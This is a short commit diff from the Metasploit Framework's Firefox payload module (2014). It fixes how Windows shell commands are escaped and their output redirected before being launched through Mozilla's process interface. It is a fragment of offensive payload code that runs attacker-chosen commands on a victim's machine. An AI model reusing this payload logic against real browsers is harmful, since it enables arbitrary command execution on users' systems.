Fix windows cmd redirection in ff payloads.

bug/bundler_fix
Joe Vennix 2014-09-10 00:47:05 -05:00
parent 05f0d09828
commit 1bb6573570
No known key found for this signature in database
GPG Key ID: 127B05FB3E85A2B0
1 changed files with 3 additions and 2 deletions

View File

@ -169,12 +169,13 @@ module Msf::Payload::Firefox
.get("TmpD", Components.interfaces.nsIFile);
stdout.append(stdoutFile);
var shell;
if (windows) {
var shell = shPath+" "+cmd;
shell = shPath+" "+cmd.trim();
shell = shPath+" "+shell.replace(/\\W/g, shEsc)+" >"+stdout.path+" 2>&1";
var b64 = svcs.btoa(shell);
} else {
var shell = shPath+" "+cmd.replace(/\\W/g, shEsc);
shell = shPath+" "+cmd.replace(/\\W/g, shEsc);
shell = shPath+" "+shell.replace(/\\W/g, shEsc) + " >"+stdout.path+" 2>&1";
}
var process = Components.classes["@mozilla.org/process/util;1"]